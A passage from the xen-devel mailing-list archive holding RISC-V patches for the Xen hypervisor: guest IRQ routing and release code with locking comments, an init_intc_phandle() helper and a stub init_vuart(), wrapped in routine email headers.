+        action_ptr = &action->next;
+    }
+
+    /* Found it - remove it from the action list */
+    *action_ptr = action->next;
+#else
+    action = *action_ptr;
+    *action_ptr = NULL;
+#endif
+
+    /* If this was the last action, shut down the IRQ */
+    if ( !desc->action )
+    {
+        desc->handler->shutdown(desc);
+        __clear_bit(_IRQ_GUEST, &desc->status);
+    }
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    /*
+     * Wait to make sure it's not being used on another CPU.
+     *
+     * The read barrier pairs with the spin_unlock() in do_IRQ(): once we
+     * observe _IRQ_INPROGRESS cleared, we are guaranteed to also see the
+     * writes do_IRQ() made to desc (e.g. desc->action) before releasing the
+     * lock, so it is safe to free the action below.
+     */
+    do { smp_rmb(); } while ( test_bit(_IRQ_INPROGRESS, &desc->status) );
+
+    if ( action->free_on_release )
+        xvfree(action);
+}
+
+int release_guest_irq(struct domain *d, unsigned int virq)
+{
+    struct irq_desc *desc = irq_to_desc(virq);
+    struct irq_guest *info;
+    unsigned long flags;
+    int ret = -EINVAL;
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    if ( !test_bit(_IRQ_GUEST, &desc->status) )
+        goto unlock_err;
+
+    info = irq_get_guest_info(desc);
+    if ( d != info->d )
+        goto unlock_err;
+
+    /*
+     * Live IRQ unrouting from a running domain is not supported: the tear-down
+     * drops desc->lock across release_irq()/xvfree() and relies on no
+     * concurrent route_irq_to_guest() being issued for this domain. Only permit
+     * it for a dying domain, where assignment is frozen and no new routes can
+     * appear.
+     */
+    if ( !d->is_dying )
+    {
+        ret = -EBUSY;
+        goto unlock_err;
+    }
+
+    /*
+     * Clear _IRQ_GUEST while still holding the lock so that a concurrent
+     * release_guest_irq() for the same IRQ observes it and bails out, rather
+     * than capturing the same 'info' and double-freeing it below.
+     */
+    __clear_bit(_IRQ_GUEST, &desc->status);
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    release_irq(desc->irq, info);
+
+    return 0;
+
+ unlock_err:
+    spin_unlock_irqrestore(&desc->lock, flags);
+    return ret;
+}
+
+/* Route an IRQ to a specific guest */
+int route_irq_to_guest(struct domain *d, unsigned int virq,
+                       unsigned int irq, const char *devname)
+{
+    struct irqaction *action;
+    struct irq_guest *info;
+    struct irq_desc *desc;
+    unsigned long flags;
+    int retval = 0;
+
+    if ( d->is_dying )
+        return -EINVAL;
+
+    desc = irq_to_desc(irq);
+
+    /*
+     * release_irq() frees this action via xvfree(), relying on action
+     * being the first member of struct irq_guest so that &info->action
+     * coincides with info itself. Guard the layout so a future field
+     * reorder can't silently turn that into a free() of a mid-allocation
+     * pointer.
+     */
+    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
+
+    info = xvmalloc(struct irq_guest);
+    if ( !info )
+        return -ENOMEM;
+
+    info->d = d;
+    info->virq = virq;
+
+    action = &info->action;
+    action->dev_id = info;
+    action->name = devname;
+    action->free_on_release = true;
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    /*
+     * If the IRQ is already used by someone
+     *  - If it's the same domain -> Xen doesn't need to update the IRQ desc.
+     *  For safety check if we are not trying to assign the IRQ to a
+     *  different vIRQ.
+     *  - Otherwise -> For now, don't allow the IRQ to be shared between
+     *  Xen and domains.
+     */
+    if ( desc->action != NULL )
+    {
+        if ( test_bit(_IRQ_GUEST, &desc->status) )
+        {
+            struct domain *ad = irq_get_guest_info(desc)->d;
+
+            if ( d != ad )
+            {
+                printk(XENLOG_G_ERR "IRQ %u is already used by %pd\n",
+                       irq, ad);
+                retval = -EBUSY;
+            }
+            else if ( irq_get_guest_info(desc)->virq != virq )
+            {
+                printk(XENLOG_G_ERR
+                       "%pd: IRQ %u is already assigned to vIRQ %u\n",
+                       d, irq, irq_get_guest_info(desc)->virq);
+                retval = -EBUSY;
+            }
+        }
+        else
+        {
+            printk(XENLOG_G_ERR "IRQ %u is already used by Xen\n", irq);
+            retval = -EBUSY;
+        }
+        goto out;
+    }
+
+    retval = _setup_irq(desc, 0, action);
+    if ( retval )
+        goto out;
+
+    retval = intc_route_irq_to_guest(desc, IRQ_NO_PRIORITY);
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    if ( retval )
+    {
+        release_irq(desc->irq, info);
+        return retval;
+    }
+
+    return 0;
+
+ out:
+    spin_unlock_irqrestore(&desc->lock, flags);
+    xvfree(info);
+
+    return retval;
+}
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index 719c439e48d9..2d0b31e08252 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -124,6 +124,8 @@ int domain_vaplic_init(struct domain *d)
     vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
                              APLIC_DOMAINCFG_RO;
 
+    d->arch.vintc->nr_virqs = guest_num_sources;
+
     return 0;
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355551.1610445 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglii-0004sQ-Hk; Mon, 06 Jul 2026 15:58:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355551.1610445; Mon, 06 Jul 2026 15:58:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglih-0004m2-FP; Mon, 06 Jul 2026 15:58:55 +0000
Received: by outflank-mailman (input) for mailman id 1355551;
 Mon, 06 Jul 2026 15:58:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglia-0003MT-N7
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglia-00AcZM-2Y
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:48 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-5cb7-0a2a0a5109dd-0a2a4506c18e-16
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:48 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b7-08de-0a2a45060019-d155dd32ed34-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:48 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so1296415f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:47 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.46
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353527; x=1783958327; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2Ic0zHniYCoxw7zx7ppkCijfRbsYL+qDQtIqh4IRQM0=;
        b=KxzKMkqIgwLHRhdy8jeNA9ssd5rUT7CW6v22OfHGjl6C/UTrakGwspxjZYUSoD4fot
         dqSDL9oBrlawDv0anJXa0DcNPt1uGwOP5j0lJHAUXcSRP4OIUEUwKC8V12/Kc1VC9pC3
         3EO9k3PjAjV7D71Uo9wI7aq9q9NyTUx8ghth3cEoTqFtiC8yYpKqOpqMr3O7IkfbB+m/
         Z0n6U/MhQOSJTB1Y4R2Z1TOv2DyDTlSAcj8sRsjPzBZkK6iQSy1kTc6YbgnenAc13KcI
         SDFx9jXX59hTmPrsaEDSN0kDnAozG1EKwBJIEcMOB9Qs28jyr/p2D8nOCGO+FPUwz7ju
         uT5g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353527; x=1783958327;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=2Ic0zHniYCoxw7zx7ppkCijfRbsYL+qDQtIqh4IRQM0=;
        b=GK79lLaGpXBO/wJVIN+gnrX7qF0wWVY8d33yC/iLlvczGJxO9zZHjMl97EpqlnaIOT
         sVU8x/Myc2MUKJbBWpTIJnw11DZM7P5CPR8kblA5hbbAVavNsj/3ZEfB+EHRCJnHaL5f
         E+YQO2Ys2ZuieCNLGP38vpnHxMuTZz3wrGQSiGLIZWzg52RDo+nZRE63VTwkcazlGvcm
         mKmnAnTd5mJBaaJw6o6QNkxGeVrjvOSQ/N61LOvpSiVtpXZDAqbLYVKI1IFsNFRGW6Es
         sNtdZXL37PQAeOuFOCUHJe35va5y0oRHli90Vd8YRbHMsJ0HlXJMgX//njJkYVOPQxI/
         OWig==
X-Gm-Message-State: AOJu0YxZflmP9BLlIFbNaQeBVu7zVlVPqR2hA2S9nbsuGJaLCdhky6wJ
	zjsq7eQ5BrvE1w+xzZZ1Pyq0TGEQnL6K+RefKsmdYjuXqFW4ruuvkjsnCU+R5g==
X-Gm-Gg: AfdE7cm0a3QqHkHK1grxVNHP2GFyS0lC5qY2geWd/g2Y37qNSgovYEeqQVKPI0TWnAO
	Su153qUm0PZkpZXX9bV4b2Jdn4N2/ZcUn8jY5u/1eSen9phLhC9OpcN1nLW573GtDNKcVoR46vO
	9xDTH/Orda0d+5/tDnUIllyr0yGO11bCccO0sVKmqeoz1R6ni217FLECl8M6mUCWJPoQtbvC+rd
	Bb+wRuyV2+qAYul0UFyrP7sYwyW/C+STb02nJS06IR5sJ1FjWZtT/H+0H6F9wETnhRQLkcq0BZJ
	JozqwA9tlVZbFkCUNU1VCqFthlr7AFh160KQwXwTUBIv4phGDK9eO96L+xuUTlgqHqK7TcgGYtD
	NEGxe1pYCS3enWwDJyqCiMXUQRWLryX+A/yITmlLpehZoRs2N2r6o46OIhAzFABBzSX/dQWCB8O
	oUl4nrKkiMcluc5bMozGjGZWRlT8LcJLqmpKp6Sm6bZDgUbXhWfvAWGiqlDGoDLCLgmEza
X-Received: by 2002:a05:600c:218d:b0:492:465c:56f6 with SMTP id 5b1f17b1804b1-493df05f8c2mr9276095e9.10.1783353527496;
        Mon, 06 Jul 2026 08:58:47 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 22/26] xen/riscv: implement init_intc_phandle()
Date: Mon,  6 Jul 2026 17:58:03 +0200
Message-ID: <3a8dfc37dddf0737ac830149ac78ab0bb1677739.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1783353528-C712768D-1103B545/10/73395122804
X-purgate-type: spam
X-purgate-size: 1378

Implement init_intc_phandle() to read phandle of interrupt controller
node and save it in kernel->phandle_intc for the future usage during
creation of guest interrupt controller node.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-5:
 - Nothing changed. Only rebase.
---
---
 xen/arch/riscv/dom0less-build.c | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index 4cc00012aa8d..a1fa51b996a7 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -4,9 +4,26 @@
 #include <xen/device_tree.h>
 #include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 
 #include <asm/p2m.h>
 
+int __init init_intc_phandle(struct kernel_info *kinfo, const char *name,
+                             const int node_next, const void *pfdt)
+{
+    if ( dt_node_cmp(name, "intc") == 0 )
+    {
+        uint32_t phandle_intc = fdt_get_phandle(pfdt, node_next);
+
+        if ( phandle_intc != 0 )
+            kinfo->phandle_intc = phandle_intc;
+
+        return 0;
+    }
+
+    return 1;
+}
+
 int __init make_arch_nodes(struct kernel_info *kinfo)
 {
     /* No RISC-V specific nodes need to be made, at the moment. */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355558.1610450 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglij-00057i-Qh; Mon, 06 Jul 2026 15:58:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355558.1610450; Mon, 06 Jul 2026 15:58:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglii-000505-L4; Mon, 06 Jul 2026 15:58:56 +0000
Received: by outflank-mailman (input) for mailman id 1355558;
 Mon, 06 Jul 2026 15:58:51 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglid-0003ox-7s
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglic-009yrN-KZ
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:50 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b6-e002-0a2a0a5209dd-0a2a450a8e8e-8
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:50 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ba-e40e-0a2a450a0019-d1558031b063-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:50 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493b1710405so19852425e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:50 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.48
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353530; x=1783958330; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=U1yyxCfvyoBfYw/uEmsf9oSi+vYcj07VTIqsiRnbV5I=;
        b=rgFyynczNwyTgnpBfT7DX5sHfPvN9aUX4tdcvdGI/QLwgB9nCR+Bn5grd89Owcf0Gk
         PaqOJTYmjMebSoAyX1pDNhi8PNf3WWIpNt4oeMpKFyJJR4XVhYwwFWfx9V0maGdnCYNB
         MINewd3oehJH9eH+qtqiSKr99JtLgpaS0znMsOiVbP01m1QekaOhugTCUJxVw+oC4kT5
         qAb8jFygqN4JsgG0bgS5EFEtanV/Uyfodw/g5XBaWzkV1NcjnRyntVcihqwmDaENC64v
         2O2LeFA3i48TimXzGpF36HY2q3PJ8mK8N6Gr+VjNWgTCER7yN7cjCc8XJg74jUwCW9gc
         ZoyA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353530; x=1783958330;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=U1yyxCfvyoBfYw/uEmsf9oSi+vYcj07VTIqsiRnbV5I=;
        b=HMm17Iw3gR8oByf5GT53A2KYur/3+eE6JJaCjOrx0L+KDk27Ub1+DXK4dW5VYOUk+g
         G4oMR7O35m2MludRDC5tV1/FM/xtHLHZ+cl+ngk8/Oe6+oK220fmX+nbKR4ECo5wCV9k
         7o4dLCWsn05l2y5CSCubpeOofiLp652LFP8qEHV9ZgZ6hP9xJThwKLYuW9JQx086NLKQ
         LW+XfRwTzPiT1cWoG4OvTty6EY52QnU4YejG91dK50mcL73p0enrXbZ/eGj1TsjK53o+
         UUairC1z7/bolxDDqWkCGG+ERTEYKilPoKbKIe4G7IR03zrJzPpRo+1UYljYW6vRnA6u
         3haQ==
X-Gm-Message-State: AOJu0YyS5wuKh/G3CpndESH3gwdsTrcbVIxlEU8O7XmlP1BGfPFWrrVz
	bYfRyknEuhAGMJBE5qI9jXHun6R315FBTlsyDkpK6ZUErwb/lS2Cowge0PMxQg==
X-Gm-Gg: AfdE7cmtdxTBlrtJrdnBmw+Fz7gHgcJF7q4p2+9lypGl5n07GZZL7qUKAhT2e8y/x+D
	M1QRWRHXTEzjajbkA3XWHW8lMzhkOLXu06yDj4VwFJmhXR/jUg6l7rWQ3alSJ9MGITgvmp6Y49f
	w6aWzYj55j9N/g7LMFD+eELDH+LKIS+4sNykEd2b7YdkJkAMyflPvlzSSnLDwEt2e0ZYqVHRbI9
	jzjM9NKwKbovxUF8oAa+GzmQqX2Q0Ra2bFl9JngcZa8dLlmMxMFrPb+xBOFMBkpz7p5wQygKItR
	adBHH3r6qZJRB+M1uOTJAZkm8s4DgHpFEZ/4n6cS0CZqBaoWWacQoE+Z4lAhomKdCwt4/2QmYff
	AQuANyC2j23Cx8y2dBTVuLmlkEJWyo2w8kd5doHHVZGwhB5vzWHe2PCUf6AlV4MYH4809qBM4Fq
	ITgBbpbfJRo6ihjlsa4oJ9L8eUh60hnuLsSICm4V8sZPuDoCtoHk34Ig75lQ==
X-Received: by 2002:a05:600c:4e04:b0:493:c389:d434 with SMTP id 5b1f17b1804b1-493df07398bmr13932665e9.15.1783353529794;
        Mon, 06 Jul 2026 08:58:49 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 24/26] xen/riscv: provide init_vuart()
Date: Mon,  6 Jul 2026 17:58:05 +0200
Message-ID: <0754278839160c0bdb922254d66f56b0e25206a9.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783353530-CFD33DDE-9F180D37/10/73395122804
X-purgate-type: spam
X-purgate-size: 1391

For debug purpose is enough to have only print messages from guest what is
now implemented in vsbi_legacy_ecall_handler().

For full guesst console support it will better to have something similar to
[1], thereby there is nothing specific should be done, at least, for now
and init_vuart() is provided to make dom0less code buildable.

[1] https://lore.kernel.org/xen-devel/alpine.DEB.2.22.394.2602041533440.3175371@ubuntu-linux-20-04-desktop/

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v3-v5:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
---
 xen/arch/riscv/dom0less-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/arch/riscv/dom0less-build.c b/xen/arch/riscv/dom0less-build.c
index a1fa51b996a7..d1a51b92936a 100644
--- a/xen/arch/riscv/dom0less-build.c
+++ b/xen/arch/riscv/dom0less-build.c
@@ -8,6 +8,14 @@
 
 #include <asm/p2m.h>
 
+int __init init_vuart(struct domain *d, struct kernel_info *kinfo,
+                      const struct dt_device_node *node)
+{
+    /* Nothing to do at the moment */
+
+    return 0;
+}
+
 int __init init_intc_phandle(struct kernel_info *kinfo, const char *name,
                              const int node_next, const void *pfdt)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:59:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:59:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355560.1610462 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglim-0005fP-Fc; Mon, 06 Jul 2026 15:59:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355560.1610462; Mon, 06 Jul 2026 15:59:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglik-0005Wk-Vw; Mon, 06 Jul 2026 15:58:58 +0000
Received: by outflank-mailman (input) for mailman id 1355560;
 Mon, 06 Jul 2026 15:58:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wglid-0003vU-N6
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglid-00AcZM-2N
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0ae-5cb7-0a2a0a5109dd-0a2a4506c18e-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:51 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b9-08de-0a2a45060019-d1558034ddb3-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:49 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493c2c0b9a8so28898005e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:49 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.47
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353529; x=1783958329; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1HewRHJTZRQ+nFOINwAOu6Y1DjcWg4/eeN41dA4C7d8=;
        b=Idf7NBF2lXqiSqVXI0YGxX06/k8w2L90hEi9wa4UHBgBPvSBrhrZQ+JCNWOKjLv6R4
         ETIk4LzOBRKCdw2dBNRX4WowqGPrvKgeU53gUli/vXJSd3lCCXCl9w6PQUgM0EIz0e8I
         ppw56QuSk3x/+65jZHLg8RXjLgM2ijTpYw5xh6o2WNnXXImDOPXMi4iUQN87a3+ubSKr
         uNTu0JRstJVMgctezpA5en2U4JHV02xRZxRmz4pAMjSovLgAhQNgio2I/GavzogzgynJ
         dSowT9gBBDfgU0aWF8g0ass7feeWIH/YPp28VN47xUnELHAPM6ziY47s8u5BeHWhSh7A
         1uJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353529; x=1783958329;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=1HewRHJTZRQ+nFOINwAOu6Y1DjcWg4/eeN41dA4C7d8=;
        b=juZTujgOkSeepRflR4PgiGc2sxnT0hISXaw7GAnaGSR1FgUOg0is36LVU02fjWzR1t
         JxHWgWfZgicWXtLOIdezRUW23YR1/CmP1WN4vHJ0LbVY9vNCQlWbp9hze3prV3Ohql/w
         amiVhCenT88lJyOmwfNAGbVdbRG38xplDsjr5AYMwqxUzQ4guWYtyllUQPh1JEdom7jY
         2UKJHH30LFgFliN45hrVfqUCNvPocXfO+bswRjFhiz6vxfKaJOWYrVg+OpFwvWC3Jpv3
